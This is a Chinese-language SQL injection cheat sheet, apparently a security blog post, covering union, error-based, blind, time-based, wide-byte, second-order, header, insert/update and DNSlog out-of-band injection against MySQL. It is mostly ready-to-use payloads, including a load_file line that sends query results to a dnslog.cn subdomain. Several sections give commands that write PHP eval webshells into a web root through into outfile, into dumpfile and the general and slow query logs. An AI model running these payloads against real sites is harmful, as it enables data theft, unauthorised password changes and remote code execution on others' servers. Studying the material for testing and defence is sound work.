: : SQL注入一直都是网络安全问题中的最不可忽视的漏洞之一,常年出现在OWA TOP10的名单上就足以证明其危害性与广泛性,是每一个网安人都必须掌握的漏洞。

一、MySQL注入类型:

MySQL注入 名称 优点 缺点
union 联合注入 执行速度快,破坏大 需要显示位
error_based 报错注入 不需要显示位 需要mysql_error()函数,有显示报错信息
bollean_based 布尔注入 不需要显示位,不需要报错信息 速度慢,时间消耗长
time_based 时间注入 不需要显示位,不需要报错信息 速度慢,时间消耗长
twice sql 二次注入 不需要显示位,不需要报错信息 攻击流程繁琐
%df 宽字节注入 可绕过特殊字符转义 攻击条件苛刻
;select XXX 堆叠注入 不用注释,直接执行sql命令 可利用版本为5.0以前

二、数据库查询语句:

information_scheme库使用方法

ps:禁用information_scheme库时只能用bp暴力跑库名

1.查找所有数据库名

1
2
3
4
5
##查询语句
select ‘字段’ from information_schema.‘表名’;

##示例
select schema_name from information_schema.schemata;

2.查找对应数据库的表名

1
2
3
4
5
##查询语句
select ’字段‘ from information_schema.’表名‘ where table_schema='数据库名';

##示例
select table_name from information_schema.tables where table_schema='security';

3.查找对应表内字段

1
2
3
4
5
##查询语句
select ’字段‘ from information_schema.’表名‘ where table_schema='库名' and table_name='表名';

##示例
select column_name from information_schema.columns where table_schema='security' and table_name='users';

4.内联查询,两表联查

1
2
3
4
5
6
7
8
##查询语句
select *from stu,money where stu.uid=money.id

#内联查询,左表为准
SELECT * from stu LEFT JOIN money ON stu.uid = money.id

#内联查询,右表为准
SELECT * from money RIGHT JOIN stu ON money.id=stu.uid

三、MySQL配置文件中关于文件权限的设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
##MySQL配置文件中关于文件权限的设置
#mysql.ini中

​ secure_file_priv=

#不允许导入和导出

secure_file_priv=null

#只允许在/tmp文件夹中导入和导出

secure_file_priv=/tmp/

#导入和导出没有限制

secure_file_priv=

四、通过load_file()函数查看文件:

1
2
3
4
5
6
##通过load_file('文件的绝对路径')函数查看文件
# 配置文件中secure_file_priv为空时不允许读取文件
#查看绝对路径下的文件

select 1,load_file('文件的绝对路径');
#读取到数据时,对(BLOB) 6 bytes右键保存数据为,将文件保存到本地

五、通过sql注入写文件到相应路径:

1
2
3
4
5
6
7
8
9
10
11
12
##通过sql注入写文件到相应路径
#用into outfile写入文件,内容可用16进制转码绕过 ' 过滤

select '<?php @eval($_GET['id']);?>' into outfile 'D:\\phpStudy\\WWW\\muma.php';

select 0x+16进制码 into outfile 'D:\\phpStudy\\WWW\\muma.php';

#用into dumpfile写入文件,内容可用2进制转码绕过 ' 过滤

select '<?php @eval($_GET['id']);?>' into dumpfile 'D:\\phpStudy\\WWW\\muma.php';

select 0b+2进制码 into dumpfile 'D:\\phpStudy\\WWW\\muma.php';

六、与字符有关的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
###截取字符长度函数

#显示字符串第x位开始长度为y的内容

substr(str,x,y)
substring(str,x,y)
select substr('abcdefg',1,4);

#显示字符串第x位开始长度为y的内容

mid(str,x,y)

select mid('abcdefg',1,4);

#显示字符串左边n位的内容

left(str,n)

select left('abcdefg',4);

#显示字符串右边n位的内容

right(str,n)

select right('abcdefg',4);

#字符串连接

concat(str,str...)

select concat('i','love','you')

#字符串连接,并设定连接符

concat_ws('连接符',str,str...)

select concat_ws('@','i','love','you')

#精确搜索

like()

select * from users where username like 'Dumb';

select database() like 'security';

#模糊搜索

regexp()

select username from security.users where username regexp 'se';

#只显示第一个字符的ASCII码

ascii()

select ascii('abc');

#只显示最左边字符的ASCII码

ord()

select ord('ab');

#显示字符串的长度

length()

select length('se');

#检查子查询是否返回值

exists()

select exists(select database());

七、联合注入攻击思路:

通过闭合url的变量,再使用union联合执行对应的查询语句,从而获得想要的数据

1
2
3
4
5
6
7
8
9
#使用limit 分页单个显示库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

#使用group_concat 一次性全部显示库名
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

#使用16进制代替字符串,可以绕过单引号注释

select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374

八、报错注入攻击思路:

人为制造报错信息,通过函数进行sql语句执行并将查询结果通过报错信息显示出来。

1、三个常见的报错注入之floor()

1
2
3
4
5
6
7
##报错注入floor()函数
#查看当前数据库
union select 1,2,count(*) from information_schema.tables group by concat (0x7e,database(),0x7e,floor(rand(0)^2)) %23
#查看security库中users表的用户名,并分页显示。ps:floor()函数只能支持单条查询,不能将数据整合成一条输出
select 1,2,count(*) from information_schema.tables group by concat(0x7e,(select username from security.users limit 0,1),0x7e,floor(rand(0)^2));
#获取有多少个数据库
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、三个常见的报错注入之extractvalue()

1
2
3
4
5
##报错注入extractvalue()函数
#查看当前数据库
and extractvalue(1,concat(1,(select database())))%23
#查看security库中users表的用户名,并将所有用户一起输出。ps:extractvalue()函数最多输出32位信息
and extractvalue(1,concat(1,(select group_concat(username) from security.users)))%23

3、三个常见的报错注入之updatexml()

1
2
3
4
5
##报错注入updatexml()函数
#查看当前数据库
and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
#报错注入updatexml()函数,并将所有用户一起输出。ps:updatexml()函数最多输出32位信息
and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) --

九、布尔注入攻击思路:

通过substr()函数每次从搜索结果中取一个字符,再通过ASCII()函数取得字符的ASCII码进行判断。通过and连接查询语句看有无正确的回显。以此来逐个查询数据字符。

1
2
3
4
5
6
7
#猜测user的第一个字符ascii码是否大于114

and ascii(substr((select user()), 1, 1))>114;

#判断数据库表的长度

select length((select table_name from information_schema.tables where table_schema='security' limit 1,1))>7;

十、时间注入攻击思路:

通过if()函数来进行查询,每次查询一个字符,通过页面刷新时间来确定输入是否正确

1
2
3
4
5
6
7
8
9
10
11
#三元判断语句

if(判断条件,条件为真,条件为假)

#如果条件为真,页面刷新时间延迟5秒,否则不延迟。

if(1=1,sleep(5),1);

#通过ASCII()和substr()联合查询,挨个查看库名的字符是啥

if(ascii(substr(database(), 1, 1))=115, sleep(5), 1)

十一、宽字节注入攻击思路:

GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。如果使用了类似于set names gbk这样得语句,此时mysql数据库就会将Ascii大于128(%df)得字符当作是汉字字符得一部分,从而能吃掉,绕过转义,使得‘逃逸出来

1
2
3
4
5
##宽字节注入

#%df取两个字节,可以将/转义符包住使单引号逃逸

?id=1%df' union select 1,2,(select username from users limit 0,1) %23

空格绕过

利用url编码绕过

%09,%0a,%0b,%0c,%0d,%20,%a0

1
2
3
4
5
6
7
8
#addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
#预定义字符是:
# 单引号(')
# 双引号(")
# 反斜杠(\)
# NULL

addslashes()

十二、DNSlog外带注入:

DNSlog注入也可以称之为DNS带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据;可以防止手工测试花费大量的时间,或是使用sqlmap直接去跑数据,被网站封掉ip

1
select 1, load_file(concat('\\\\',(select version()),'.4y9amy.dnslog.cn\\abc'))-- 

注意:

​ DNSlog外带注入不能传除字母、数字、下划线以外的字符,可以使用16进制转码后输出,一次只能允许63位有效字符,超出时语句无效

十三、insert into语句注入:

1
insert into '表名'('字段1','字段2',...) values((payload),'xxx',...)

注意:

​ 构造payload时如果要注释后面语句,应在构造语句后面接上相同数量的字段值,一般用报错注入,在没有回显或报错信息时,可以使用DNSlog外带注入

示例:

1
insert into users(username,password,sex) values(''and(updatexml(1,concat(0x7e,(select database()),0x7e),1)),1,2)-- ','111222','man')

十四、update 语句注入:

1
update '表名' set '字段'='字段值' where '字段'='条件'

注意:

​ updata可以用于低权限用户越权修改高权限用户密码,在注入时应当小心将所有账户密码重置,可以自己添加一个条件防止修改所有数据,用or时容易将所有数据进行操作

示例:

1
update users set password='111222'where username='' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))-- ' where username='admin'

十五、头部注入:

​ 通过白盒审计,查看目标网站对哪些头部数据进行获取且为进行过滤直接使用,通过BP抓包构造对应数据的信息来进行注入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /desql/login_create.php HTTP/1.1
Host: www.localhost.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://www.localhost.com
Connection: close
Referer: http://www.localhost.com/desql/new_user.php
Cookie: PHPSESSID=2uo5bjpg3ojvr0v6ual4154tc3
Upgrade-Insecure-Requests: 1

User-Agent: 'union select group_concat(schema_name) from information_schema.schemata #

一般注入点为:

  • Cookie
  • User-Agent
  • client-ip
  • x-forwarded-for

十六、二次注入:

在向数据库存数据时进行了严格的特殊字符转义,但是在数据库取数据时未对数据进行严格的过滤,导致用户可以通过构造恶意用户名,通过修改自身密码来越权修改高权限密码。或是造成敏感信息泄露

1
update 表名 set '字段'='字段值' where '字段'='admin'#'

十七、利用全局日志写入一句话木马:

当dump_file和into_outfile被禁用时,我们可以利用数据库自带的写日志功能来写入一句话木马获取webshell

1
2
3
4
5
6
7
8
#查看全局日志是否开启
show variables like '%general%';
#将全局日志功能开启
set global general_log = on;
#设置全局日志保存地址
set global general_log_file = 'C:/phpstudy/PHPTutorial/WWW/xx.php';
#利用查询语句将一句话木马写入日志
select '<?php eval($_POST[cmd]);?>';

十八、利用慢日志写入一句话木马:

当dump_file和into_outfile被禁用时,我们可以利用数据库自带的写日志功能来写入一句话木马获取webshell

1
2
3
4
5
6
7
8
9
10
#查看慢日志是否开启
show variables like '%slow_query_log%';
#查看慢日志设置的超时时间
show global variables like '%long_query_time%';
#将慢日志功能开启
set global slow_query_log = on;
#设置慢日志保存地址
set global slow_query_log_file = 'C:/phpstudy/PHPTutorial/WWW/shell2.php';
#利用查询语句将一句话木马写入日志
select '<?php eval($_POST[cmd]);?>' or sleep(11);